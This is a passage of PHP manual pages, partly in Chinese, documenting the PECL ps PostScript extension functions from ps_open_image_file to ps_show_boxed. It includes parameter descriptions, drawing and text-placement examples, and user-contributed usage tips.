Resource identifier of the postscript file as returned by ps_new().

filename

The name of the postscript file. If filename is not passed the document will be created in memory and all output will go straight to the browser.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_close() - Closes a PostScript document

User Contributed Notes

php at catchall dot toao dot net 05-Jul-2009 08:42
Today, I used this function and did not specify a path to the file name.  The file was created in C:\Program Files\Apache2.2 instead of the current working directory.  When using this function, be sure to specify the full path to the file that should be created.


Opens image from file

  • ? ps_open_file
  • ps_open_image ?
  • PHP Manual
  • PS 函数
  • Opens image from file

ps_open_image_file

(PECL ps >= 1.1.0)

ps_open_image_file — Opens image from file

说明

ps_open_image_file(
resource $psdoc,
string $type,
string $filename,
string $stringparam = ?,
int $intparam = 0
): int

Loads an image for later use.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

type

The type of the image. Possible values are png, jpeg, or eps.

filename

The name of the file containing the image data.

stringparam

Not used.

intparam

Not used.

返回值

Returns identifier of image or zero in case of an error. The identifier is a positive number greater than 0.

参见

  • ps_open_image() - Reads an image for later placement
  • ps_place_image() - Places image on the page
  • ps_close_image() - Closes image and frees memory

User Contributed Notes

There are no user contributed notes for this page.


Reads an image for later placement

  • ? ps_open_image_file
  • ps_open_memory_image ?
  • PHP Manual
  • PS 函数
  • Reads an image for later placement

ps_open_image

(PECL ps >= 1.1.0)

ps_open_image — Reads an image for later placement

说明

ps_open_image(
resource $psdoc,
string $type,
string $source,
string $data,
int $lenght,
int $width,
int $height,
int $components,
int $bpc,
string $params
): int

Reads an image which is already available in memory. The parameter source is currently not evaluated and assumed to be memory. The image data is a sequence of pixels starting in th upper left corner and ending in the lower right corner. Each pixel consists of components color components, and each component has bpc bits.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

type

The type of the image. Possible values are png, jpeg, or eps.

source

Not used.

data

The image data.

length

The length of the image data.

width

The width of the image.

height

The height of the image.

components

The number of components for each pixel. This can be 1 (gray scale images), 3 (rgb images), or 4 (cmyk, rgba images).

bpc

Number of bits per component (quite often 8).

params

返回值

Returns identifier of image or zero in case of an error. The identifier is a positive number greater than 0.

参见

  • ps_open_image_file() - Opens image from file
  • ps_place_image() - Places image on the page
  • ps_close_image() - Closes image and frees memory

User Contributed Notes

There are no user contributed notes for this page.


Takes an GD image and returns an image for placement in a PS document

  • ? ps_open_image
  • ps_place_image ?
  • PHP Manual
  • PS 函数
  • Takes an GD image and returns an image for placement in a PS document

ps_open_memory_image

(PECL ps >= 1.1.0)

ps_open_memory_image — Takes an GD image and returns an image for placement in a PS document

说明

ps_open_memory_image(resource $psdoc, int $gd): int

Warning

本函数还未编写文档，仅有参数列表。

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

gd

User Contributed Notes

There are no user contributed notes for this page.


Places image on the page

  • ? ps_open_memory_image
  • ps_rect ?
  • PHP Manual
  • PS 函数
  • Places image on the page

ps_place_image

(PECL ps >= 1.1.0)

ps_place_image — Places image on the page

说明

ps_place_image(
resource $psdoc,
int $imageid,
float $x,
float $y,
float $scale
): bool

Places a formerly loaded image on the page. The image can be scaled. If the image shall be rotated as well, you will have to rotate the coordinate system before with ps_rotate().

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

imageid

The resource identifier of the image as returned by ps_open_image() or ps_open_image_file().

x

x-coordinate of the lower left corner of the image.

y

y-coordinate of the lower left corner of the image.

scale

The scaling factor for the image. A scale of 1.0 will result in a resolution of 72 dpi, because each pixel is equivalent to 1 point.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_open_image() - Reads an image for later placement
  • ps_open_image_file() - Opens image from file

User Contributed Notes

php at catchall dot toao dot net 14-Jun-2009 02:05
If you want to make a template with graphics software and place it on your PostScript page, one way to do it is with an eps file.

<?php
$template = ps_open_image_file($ps, 'eps', 'template.eps');
ps_place_image($ps, $template, 0, 0, 1);
?>

Professional page layout software such as InDesign will typically be able to generate an eps file.  If your software can't, one way to do it (on Windows) is to set up a printer that prints to file with the driver "Lexmark Color 4079 plus PS".  This driver is included with Windows and has the option in its advanced preferences to generate an EPS file.
mike at lasaero dot com 12-May-2007 06:11
To get png images to work I had to save them as indexed colour (128 colours).


Draws a rectangle

  • ? ps_place_image
  • ps_restore ?
  • PHP Manual
  • PS 函数
  • Draws a rectangle

ps_rect

(PECL ps >= 1.1.0)

ps_rect — Draws a rectangle

说明

ps_rect(
resource $psdoc,
float $x,
float $y,
float $width,
float $height
): bool

Draws a rectangle with its lower left corner at (x, y). The rectangle starts and ends in its lower left corner. If this function is called outside a path it will start a new path. If it is called within a path it will add the rectangle as a subpath. If the last drawing operation does not end in the lower left corner then there will be a gap in the path.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

x

x-coordinate of the lower left corner of the rectangle.

y

y-coordinate of the lower left corner of the rectangle.

width

The width of the image.

height

The height of the image.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_arc() - Draws an arc counterclockwise
  • ps_cirle()
  • ps_lineto() - Draws a line

User Contributed Notes

php at catchall dot toao dot net 14-Jun-2009 08:23
Example: draw a purple box 144 points wide by 72 points high on a page in position 0, 0:

<?php
ps_setcolor($ps, "fill", "cmyk", .5, .5, 0, 0);
ps_rect($ps, 0, 0, 144, 72);
ps_fill($ps);
?>


Restore previously save context

  • ? ps_rect
  • ps_rotate ?
  • PHP Manual
  • PS 函数
  • Restore previously save context

ps_restore

(PECL ps >= 1.1.0)

ps_restore — Restore previously save context

说明

ps_restore(resource $psdoc): bool

Restores a previously saved graphics context. Any call of ps_save() must be accompanied by a call to ps_restore(). All coordinate transformations, line style settings, color settings, etc. are being restored to the state before the call of ps_save().

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_save() - Save current context

User Contributed Notes

There are no user contributed notes for this page.


Sets rotation factor

  • ? ps_restore
  • ps_save ?
  • PHP Manual
  • PS 函数
  • Sets rotation factor

ps_rotate

(PECL ps >= 1.1.0)

ps_rotate — Sets rotation factor

说明

ps_rotate(resource $psdoc, float $rot): bool

Sets the rotation of the coordinate system.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

rot

Angle of rotation in degree.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Rotation of the coordinate system

<?php
function rectangle($ps) {
ps_moveto($ps, 0, 0);
ps_lineto($ps, 0, 50);
ps_lineto($ps, 50, 50);
ps_lineto($ps, 50, 0);
ps_lineto($ps, 0, 0);
ps_stroke($ps);
}

$ps = ps_new();
if (!ps_open_file($ps, "rotation.ps")) {
print "Cannot open PostScript file\n";
exit;
}

ps_set_info($ps, "Creator", "rotation.php");
ps_set_info($ps, "Author", "Uwe Steinmann");
ps_set_info($ps, "Title", "Rotation example");
ps_set_info($ps, "BoundingBox", "0 0 596 842");

$psfont = ps_findfont($ps, "Helvetica", "", 0);

ps_begin_page($ps, 596, 842);
ps_set_text_pos($ps, 100, 100);
ps_save($ps);
ps_translate($ps, 100, 100);
ps_rotate($ps, 45);
rectangle($ps);
ps_restore($ps);
ps_setfont($ps, $psfont, 8.0);
ps_show($ps, "Text without rotation");
ps_end_page($ps);

ps_delete($ps);
?>

The above example illustrates a very common way of rotating a graphic (in this case just a rectangle) by simply rotating the coordinate system. Since the graphic's coordinate system assumes (0,0) to be the origin, the page coordinate system is also translated to place the graphics not on the edge of the page. Pay attention to the order of ps_translate() and ps_rotate(). In the above case the rectancle is rotated around the point (100, 100) in the untranslated coordinate system. Switching the two statements has a completely different result.

In order to output the following text at the original position, all modifications of the coordinate system are encapsulated in ps_save() and ps_restore().

参见

  • ps_scale() - Sets scaling factor
  • ps_translate() - Sets translation

User Contributed Notes

There are no user contributed notes for this page.


Save current context

  • ? ps_rotate
  • ps_scale ?
  • PHP Manual
  • PS 函数
  • Save current context

ps_save

(PECL ps >= 1.1.0)

ps_save — Save current context

说明

ps_save(resource $psdoc): bool

Saves the current graphics context, containing colors, translation and rotation settings and some more. A saved context can be restored with ps_restore().

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_restore() - Restore previously save context

User Contributed Notes

There are no user contributed notes for this page.


Sets scaling factor

  • ? ps_save
  • ps_set_border_color ?
  • PHP Manual
  • PS 函数
  • Sets scaling factor

ps_scale

(PECL ps >= 1.1.0)

ps_scale — Sets scaling factor

说明

ps_scale(resource $psdoc, float $x, float $y): bool

Sets horizontal and vertical scaling of the coordinate system.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

x

Scaling factor in horizontal direction.

y

Scaling factor in vertical direction.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_rotate() - Sets rotation factor
  • ps_translate() - Sets translation

User Contributed Notes

There are no user contributed notes for this page.


Sets color of border for annotations

  • ? ps_scale
  • ps_set_border_dash ?
  • PHP Manual
  • PS 函数
  • Sets color of border for annotations

ps_set_border_color

(PECL ps >= 1.1.0)

ps_set_border_color — Sets color of border for annotations

说明

ps_set_border_color(
resource $psdoc,
float $red,
float $green,
float $blue
): bool

Links added with one of the functions ps_add_weblink(), ps_add_pdflink(), etc. will be displayed with a surounded rectangle when the postscript document is converted to pdf and viewed in a pdf viewer. This rectangle is not visible in the postscript document. This function sets the color of the rectangle's border line.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

red

The red component of the border color.

green

The green component of the border color.

blue

The blue component of the border color.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_set_border_dash() - Sets length of dashes for border of annotations
  • ps_set_border_style() - Sets border style of annotations

User Contributed Notes

There are no user contributed notes for this page.


Sets length of dashes for border of annotations

  • ? ps_set_border_color
  • ps_set_border_style ?
  • PHP Manual
  • PS 函数
  • Sets length of dashes for border of annotations

ps_set_border_dash

(PECL ps >= 1.1.0)

ps_set_border_dash — Sets length of dashes for border of annotations

说明

ps_set_border_dash(resource $psdoc, float $black, float $white): bool

Links added with one of the functions ps_add_weblink(), ps_add_pdflink(), etc. will be displayed with a surounded rectangle when the postscript document is converted to pdf and viewed in a pdf viewer. This rectangle is not visible in the postscript document. This function sets the length of the black and white portion of a dashed border line.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

black

The length of the dash.

white

The length of the gap between dashes.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_set_border_color() - Sets color of border for annotations
  • ps_set_border_style() - Sets border style of annotations

User Contributed Notes

There are no user contributed notes for this page.


Sets border style of annotations

  • ? ps_set_border_dash
  • ps_set_info ?
  • PHP Manual
  • PS 函数
  • Sets border style of annotations

ps_set_border_style

(PECL ps >= 1.1.0)

ps_set_border_style — Sets border style of annotations

说明

ps_set_border_style(resource $psdoc, string $style, float $width): bool

Links added with one of the functions ps_add_weblink(), ps_add_pdflink(), etc. will be displayed with a surounded rectangle when the postscript document is converted to pdf and viewed in a pdf viewer. This rectangle is not visible in the postscript document. This function sets the appearance and width of the border line.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

style

style can be solid or dashed.

width

The line width of the border.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_set_border_color() - Sets color of border for annotations
  • ps_set_border_dash() - Sets length of dashes for border of annotations

User Contributed Notes

There are no user contributed notes for this page.


Sets information fields of document

  • ? ps_set_border_style
  • ps_set_parameter ?
  • PHP Manual
  • PS 函数
  • Sets information fields of document

ps_set_info

(PECL ps >= 1.1.0)

ps_set_info — Sets information fields of document

说明

ps_set_info(resource $p, string $key, string $val): bool

Sets certain information fields of the document. This fields will be shown as a comment in the header of the PostScript file. If the document is converted to pdf this fields will also be used for the document information.

The BoundingBox is usually set to the value given to the first page. This only works if ps_findfont() has not been called before. In such cases the BoundingBox would be left unset unless you set it explicitly with this function.

This function will have no effect anymore when the header of the postscript file has been already written. It must be called before the first page or the first call of ps_findfont().

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

key

The name of the information field to set. The values which can be set are Keywords, Subject, Title, Creator, Author, BoundingBox, and Orientation. Be aware that some of them has a meaning to PostScript viewers.

value

The value of the information field. The field Orientation can be set to either Portrait or Landscape. The BoundingBox is a string consisting of four numbers. The first two numbers are the coordinates of the lower left corner of the page. The last two numbers are the coordinates of the upper right corner.

Note:

Up to version 0.2.6 of pslib, the BoundingBox and Orientation will be overwritten by ps_begin_page(), unless ps_findfont() has been called before.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_findfont() - Loads a font
  • ps_begin_page() - Start a new page

User Contributed Notes

There are no user contributed notes for this page.


Sets certain parameters

  • ? ps_set_info
  • ps_set_text_pos ?
  • PHP Manual
  • PS 函数
  • Sets certain parameters

ps_set_parameter

(PECL ps >= 1.1.0)

ps_set_parameter — Sets certain parameters

说明

ps_set_parameter(resource $psdoc, string $name, string $value): bool

Sets several parameters which are used by many functions. Parameters are by definition string values.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

name

For a list of possible names see ps_get_parameter().

value

The value of the parameter.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_get_parameters()
  • ps_set_value() - Sets certain values

User Contributed Notes

php at catchall dot toao dot net 12-Jun-2009 08:54
Note that when setting a parameter such as "true" or "false", in this case "true" and "false" are strings.
Correct syntax would be:
<?php ps_set_parameter($ps, "linebreak", "true"); ?>
This does NOT work:
<?php ps_set_parameter($ps, "linebreak", true); ?>


Sets position for text output

  • ? ps_set_parameter
  • ps_set_value ?
  • PHP Manual
  • PS 函数
  • Sets position for text output

ps_set_text_pos

(PECL ps >= 1.1.0)

ps_set_text_pos — Sets position for text output

说明

ps_set_text_pos(resource $psdoc, float $x, float $y): bool

Set the position for the next text output. You may alternatively set the x and y value separately by calling ps_set_value() and choosing textx respectively texty as the value name.

If you want to output text at a certain position it is more convenient to use ps_show_xy() instead of setting the text position and calling ps_show().

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

x

x-coordinate of the new text position.

y

y-coordinate of the new text position.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Placing text at a given position

<?php
$ps = ps_new();
if (!ps_open_file($ps, "text.ps")) {
print "Cannot open PostScript file\n";
exit;
}

ps_set_info($ps, "Creator", "rectangle.php");
ps_set_info($ps, "Author", "Uwe Steinmann");
ps_set_info($ps, "Title", "Text placement example");

ps_begin_page($ps, 596, 842);
$psfont = ps_findfont($ps, "Helvetica", "", 0);
ps_setfont($ps, $psfont, 8.0);
ps_show_xy($ps, "Some text at (100, 100)", 100, 100);

ps_set_value($ps, "textx", 100);
ps_set_value($ps, "texty", 120);
ps_show($ps, "Some text at (100, 120)");
ps_end_page($ps);

ps_delete($ps);
?>

参见

  • ps_set_value() - Sets certain values
  • ps_show() - Output text

User Contributed Notes

There are no user contributed notes for this page.


Sets certain values

  • ? ps_set_text_pos
  • ps_setcolor ?
  • PHP Manual
  • PS 函数
  • Sets certain values

ps_set_value

(PECL ps >= 1.1.0)

ps_set_value — Sets certain values

说明

ps_set_value(resource $psdoc, string $name, float $value): bool

Sets several values which are used by many functions. Parameters are by definition float values.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

name

The name can be one of the following:

textrendering

The way how text is shown.

textx

The x coordinate for text output.

texty

The y coordinate for text output.

wordspacing

The distance between words relative to the width of a space.

leading

The distance between lines in pixels.

value

The value of the parameter.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_get_value() - Gets certain values
  • ps_set_parameter() - Sets certain parameters

User Contributed Notes

There are no user contributed notes for this page.


Sets current color

  • ? ps_set_value
  • ps_setdash ?
  • PHP Manual
  • PS 函数
  • Sets current color

ps_setcolor

(PECL ps >= 1.1.0)

ps_setcolor — Sets current color

说明

ps_setcolor(
resource $psdoc,
string $type,
string $colorspace,
float $c1,
float $c2,
float $c3,
float $c4
): bool

Sets the color for drawing, filling, or both.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

type

The parameter type can be both, fill, or fillstroke.

colorspace

The colorspace should be one of gray, rgb, cmyk, spot, pattern. Depending on the colorspace either only the first, the first three or all parameters will be used.

c1

Depending on the colorspace this is either the red component (rgb), the cyan component (cmyk), the gray value (gray), the identifier of the spot color or the identifier of the pattern.

c2

Depending on the colorspace this is either the green component (rgb), the magenta component (cmyk).

c3

Depending on the colorspace this is either the blue component (rgb), the yellow component (cmyk).

c4

This must only be set in cmyk colorspace and specifies the black component.

返回值

成功时返回 true， 或者在失败时返回 false。

注释

Caution

The second parameter is currently not always evaluated. The color is sometimes set for filling and drawing just as if fillstroke were passed.

User Contributed Notes

php at catchall dot toao dot net 14-Jun-2009 08:29
Note that if you specify colors in RGB, the parameters C1, C2, and C3 should be specified in decimal form.  To calculate this, divide the value by 255.  Example: rgb(58,110,165) becomes <?php ps_setcolor($ps, "stroke", "rgb", .23, .43, .65, 0.0); ?>

However, since this is PostScript, most if not all files will be destined for printing and colors should be specified in CMYK anyway.


Sets appearance of a dashed line

  • ? ps_setcolor
  • ps_setflat ?
  • PHP Manual
  • PS 函数
  • Sets appearance of a dashed line

ps_setdash

(PECL ps >= 1.1.0)

ps_setdash — Sets appearance of a dashed line

说明

ps_setdash(resource $psdoc, float $on, float $off): bool

Sets the length of the black and white portions of a dashed line.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

on

The length of the dash.

off

The length of the gap between dashes.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_setpolydash() - Sets appearance of a dashed line

User Contributed Notes

There are no user contributed notes for this page.


Sets flatness

  • ? ps_setdash
  • ps_setfont ?
  • PHP Manual
  • PS 函数
  • Sets flatness

ps_setflat

(PECL ps >= 1.1.0)

ps_setflat — Sets flatness

说明

ps_setflat(resource $psdoc, float $value): bool

Warning

本函数还未编写文档，仅有参数列表。

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

value

The value must be between 0.2 and 1.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Sets font to use for following output

  • ? ps_setflat
  • ps_setgray ?
  • PHP Manual
  • PS 函数
  • Sets font to use for following output

ps_setfont

(PECL ps >= 1.1.0)

ps_setfont — Sets font to use for following output

说明

ps_setfont(resource $psdoc, int $fontid, float $size): bool

Sets a font, which has to be loaded before with ps_findfont(). Outputting text without setting a font results in an error.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

fontid

The font identifier as returned by ps_findfont().

size

The size of the font.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_findfont() - Loads a font
  • ps_set_text_pos() - Sets position for text output for an example.

User Contributed Notes

There are no user contributed notes for this page.


Sets gray value

  • ? ps_setfont
  • ps_setlinecap ?
  • PHP Manual
  • PS 函数
  • Sets gray value

ps_setgray

(PECL ps >= 1.1.0)

ps_setgray — Sets gray value

说明

ps_setgray(resource $psdoc, float $gray): bool

Sets the gray value for all following drawing operations.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

gray

The value must be between 0 (white) and 1 (black).

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_setcolor() - Sets current color

User Contributed Notes

There are no user contributed notes for this page.


Sets appearance of line ends

  • ? ps_setgray
  • ps_setlinejoin ?
  • PHP Manual
  • PS 函数
  • Sets appearance of line ends

ps_setlinecap

(PECL ps >= 1.1.0)

ps_setlinecap — Sets appearance of line ends

说明

ps_setlinecap(resource $psdoc, int $type): bool

Sets how line ends look like.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

type

The type of line ends. Possible values are PS_LINECAP_BUTT, PS_LINECAP_ROUND, or PS_LINECAP_SQUARED.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_setlinejoin() - Sets how contected lines are joined
  • ps_setlinewidth() - Sets width of a line
  • ps_setmiterlimit() - Sets the miter limit

User Contributed Notes

There are no user contributed notes for this page.


Sets how contected lines are joined

  • ? ps_setlinecap
  • ps_setlinewidth ?
  • PHP Manual
  • PS 函数
  • Sets how contected lines are joined

ps_setlinejoin

(PECL ps >= 1.1.0)

ps_setlinejoin — Sets how contected lines are joined

说明

ps_setlinejoin(resource $psdoc, int $type): bool

Sets how lines are joined.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

type

The way lines are joined. Possible values are PS_LINEJOIN_MITER, PS_LINEJOIN_ROUND, or PS_LINEJOIN_BEVEL.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_setlinecap() - Sets appearance of line ends
  • ps_setlinewidth() - Sets width of a line
  • ps_setmiterlimit() - Sets the miter limit

User Contributed Notes

There are no user contributed notes for this page.


Sets width of a line

  • ? ps_setlinejoin
  • ps_setmiterlimit ?
  • PHP Manual
  • PS 函数
  • Sets width of a line

ps_setlinewidth

(PECL ps >= 1.1.0)

ps_setlinewidth — Sets width of a line

说明

ps_setlinewidth(resource $psdoc, float $width): bool

Sets the line width for all following drawing operations.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

width

The width of lines in points.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_setlinecap() - Sets appearance of line ends
  • ps_setlinejoin() - Sets how contected lines are joined
  • ps_setmiterlimit() - Sets the miter limit

User Contributed Notes

There are no user contributed notes for this page.


Sets the miter limit

  • ? ps_setlinewidth
  • ps_setoverprintmode ?
  • PHP Manual
  • PS 函数
  • Sets the miter limit

ps_setmiterlimit

(PECL ps >= 1.1.0)

ps_setmiterlimit — Sets the miter limit

说明

ps_setmiterlimit(resource $psdoc, float $value): bool

If two lines join in a small angle and the line join is set to PS_LINEJOIN_MITER, then the resulting spike will be very long. The miter limit is the maximum ratio of the miter length (the length of the spike) and the line width.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

value

The maximum ratio between the miter length and the line width. Larger values (> 10) will result in very long spikes when two lines meet in a small angle. Keep the default unless you know what you are doing.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_setlinecap() - Sets appearance of line ends
  • ps_setlinejoin() - Sets how contected lines are joined
  • ps_setlinewidth() - Sets width of a line

User Contributed Notes

There are no user contributed notes for this page.


Sets overprint mode

  • ? ps_setmiterlimit
  • ps_setpolydash ?
  • PHP Manual
  • PS 函数
  • Sets overprint mode

ps_setoverprintmode

(PECL ps >= 1.3.0)

ps_setoverprintmode — Sets overprint mode

说明

ps_setoverprintmode(resource $psdoc, int $mode): bool

Warning

本函数还未编写文档，仅有参数列表。

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

mode

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Sets appearance of a dashed line

  • ? ps_setoverprintmode
  • ps_shading_pattern ?
  • PHP Manual
  • PS 函数
  • Sets appearance of a dashed line

ps_setpolydash

(PECL ps >= 1.1.0)

ps_setpolydash — Sets appearance of a dashed line

说明

ps_setpolydash(resource $psdoc, float $arr): bool

Sets the length of the black and white portions of a dashed line. ps_setpolydash() is used to set more complicated dash patterns.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

arr

arr is a list of length elements alternately for the black and white portion.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Drawing a dashed line

<?php
$ps = ps_new();
if (!ps_open_file($ps, "polydash.ps")) {
print "Cannot open PostScript file\n";
exit;
}

ps_set_info($ps, "Creator", "polydash.php");
ps_set_info($ps, "Author", "Uwe Steinmann");
ps_set_info($ps, "Title", "Poly dash example");

ps_begin_page($ps, 596, 842);
ps_setpolydash($ps, array(10, 5, 2, 5));
ps_moveto($ps, 100, 100);
ps_lineto($ps, 200, 200);
ps_stroke($ps);
ps_end_page($ps);

ps_delete($ps);
?>

This example draws a line with a 10 and 2 points long line, and gaps of 5 points inbetween.

参见

  • ps_setdash() - Sets appearance of a dashed line

User Contributed Notes

There are no user contributed notes for this page.


Creates a pattern based on a shading

  • ? ps_setpolydash
  • ps_shading ?
  • PHP Manual
  • PS 函数
  • Creates a pattern based on a shading

ps_shading_pattern

(PECL ps >= 1.3.0)

ps_shading_pattern — Creates a pattern based on a shading

说明

ps_shading_pattern(resource $psdoc, int $shadingid, string $optlist): int|false

Creates a pattern based on a shading, which has to be created before with ps_shading(). Shading patterns can be used like regular patterns.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

shadingid

The identifier of a shading previously created with ps_shading().

optlist

This argument is not currently used.

返回值

The identifier of the pattern 或者在失败时返回 false.

参见

  • ps_shading() - Creates a shading for later use
  • ps_shfill() - Fills an area with a shading

User Contributed Notes

There are no user contributed notes for this page.


Creates a shading for later use

  • ? ps_shading_pattern
  • ps_shfill ?
  • PHP Manual
  • PS 函数
  • Creates a shading for later use

ps_shading

(PECL ps >= 1.3.0)

ps_shading — Creates a shading for later use

说明

ps_shading(
resource $psdoc,
string $type,
float $x0,
float $y0,
float $x1,
float $y1,
float $c1,
float $c2,
float $c3,
float $c4,
string $optlist
): int|false

Creates a shading, which can be used by ps_shfill() or ps_shading_pattern().

The color of the shading can be in any color space except for pattern.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

type

The type of shading can be either radial or axial. Each shading starts with the current fill color and ends with the given color values passed in the parameters c1 to c4 (see ps_setcolor() for their meaning).

x0, x1, y0, y1

The coordinates x0, y0, x1, y1 are the start and end point of the shading. If the type of shading is radial the two points are the middle points of a starting and ending circle.

c1, c2, c3, c4

See ps_setcolor() for their meaning.

optlist

If the shading is of type radial the optlist must also contain the parameters r0 and r1 with the radius of the start and end circle.

返回值

Returns the identifier of the pattern 或者在失败时返回 false.

参见

  • ps_shading_pattern() - Creates a pattern based on a shading
  • ps_shfill() - Fills an area with a shading

User Contributed Notes

There are no user contributed notes for this page.


Fills an area with a shading

  • ? ps_shading
  • ps_show_boxed ?
  • PHP Manual
  • PS 函数
  • Fills an area with a shading

ps_shfill

(PECL ps >= 1.3.0)

ps_shfill — Fills an area with a shading

说明

ps_shfill(resource $psdoc, int $shadingid): bool

Fills an area with a shading, which has to be created before with ps_shading(). This is an alternative way to creating a pattern from a shading ps_shading_pattern() and using the pattern as the filling color.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

shadingid

The identifier of a shading previously created with ps_shading().

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_shading() - Creates a shading for later use
  • ps_shading_pattern() - Creates a pattern based on a shading

User Contributed Notes

There are no user contributed notes for this page.


Output text in a box

  • ? ps_shfill
  • ps_show_xy2 ?
  • PHP Manual
  • PS 函数
  • Output text in a box

ps_show_boxed

(PECL ps >= 1.1.0)

ps_show_boxed — Output text in a box

说明

ps_show_boxed(
resource $psdoc,
string $text,
float $left,
float $bottom,
float $width,
float $height,
string $hmode,
string $feature = ?
): int

Outputs a text in a given box. The lower left corner of the box is at (left, bottom). Line breaks will be inserted where needed. Multiple spaces are treated as one. Tabulators are treated as spaces.

The text will be hyphenated if the parameter hyphenation is set to true and the parameter hyphendict contains a valid filename for a hyphenation file. The line spacing is taken from the value leading. Paragraphs can be separated by an empty line just like in TeX. If the value parindent is set to value > 0.0 then the first n lines will be indented. The number n of lines is set by the parameter numindentlines. In order to prevent indenting of the first m paragraphs set the value parindentskip to a positive number.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

text

The text to be output into the given box.

left

x-coordinate of the lower left corner of the box.

bottom

y-coordinate of the lower left corner of the box.

width

Width of the box.

height

Height of the box.

hmode

The parameter hmode can be justify, fulljustify, right, left, or center. The difference of justify and fulljustify just affects the last line of the box. In fulljustify mode the last line will be left and right justified unless this is also the last line of paragraph. In justify mode it will always be left justified.

feature

Used parameters

The output of ps_show_boxed() can be configured with several parameters and values which must be set with either ps_set_parameter() or ps_set_value(). Beside the parameters and values which affect text output, the following parameters and values are evaluated.

leading (value)

Distance between baselines of two consecutive lines.

linebreak (parameter)

Set to true if you want a carriage return to start a new line instead of treating it as a space. Defaults to false.

parbreak (parameter)

Set to true if you want a carriage return on a single line to start a new paragraph instead of treating it as a space. Defaults to true.

hyphenation (parameter)

Set to true in order to turn hyphenation on. This requires a dictionary to be set with the parameter hyphendict. Defaults to false.

hyphendict (parameter)

Filename of the dictionary used for hyphenation pattern (see below).

hyphenminchar (value)

The number of chars which must at least be left over before or after the hyphen. This implies that only words of at least two times this value will be hyphenated. The default value is three. Setting a value of zero will result in the default value.

parindent (value)

Set the amount of space in pixel for indenting the first m lines of a paragraph. m can be set with the value numindentlines.

parskip (value)

Set the amount of extra space in pixel between paragraphs. Defaults to 0 which will result in a normal line distance.

numindentlines (value)

Number of lines from the start of the paragraph which will be indented. Defaults to 1.

parindentskip (value)

Number of paragraphs in the box whose first lines will not be indented. This defaults to 0. This is useful for paragraphs right after a section heading or text being continued in a second box. In both case one would set this to 1.

linenumbermode (parameter)

Set how lines are to be numbered. Possible values are box for numbering lines in the whole box or paragraph to number lines within each paragraph.

linenumberspace (value)

The space for the column left of the numbered line containing the line number. The line number will be right justified into this column. Defaults to 20.

linenumbersep (value)

The space between the column with line numbers and the line itself. Defaults to 5.

Hyphenation

Text is hyphenated if the parameter hyphenation is set to true and a valid hyphenation dictionary is set. pslib does not ship its own hyphenation dictionary but uses one from openoffice, scribus or koffice. You can find their dictionaries for different languages in one of the following directories if the software is installed:

  • /usr/share/apps/koffice/hyphdicts/
  • /usr/lib/scribus/dicts/
  • /usr/lib/openoffice/share/dict/ooo/
Currently scribus appears to have the most complete hyphenation dictionaries.

返回值

Number of characters that could not be written.

参见

  • ps_continue_text() - Continue text in next line

User Contributed Notes

php at catchall dot toao dot net 13-Jun-2009 03:45
In order to justify text in the way a word processor would, one must set 'linebreak' to 'false' and 'parbreak' to 'true'.  For every new line, you must use "\n\n" (two newlines, NOT carriage returns as stated in the docs).  If you wish to make two new lines in your finished document, "\n\n\n\n" will not work.  Instead, you must use "\n\n \n\n".

For every line to be justified, you should append "\n " (new line and a space) to the end of the text.  For this to work, 'linebreak' must be 'true'.
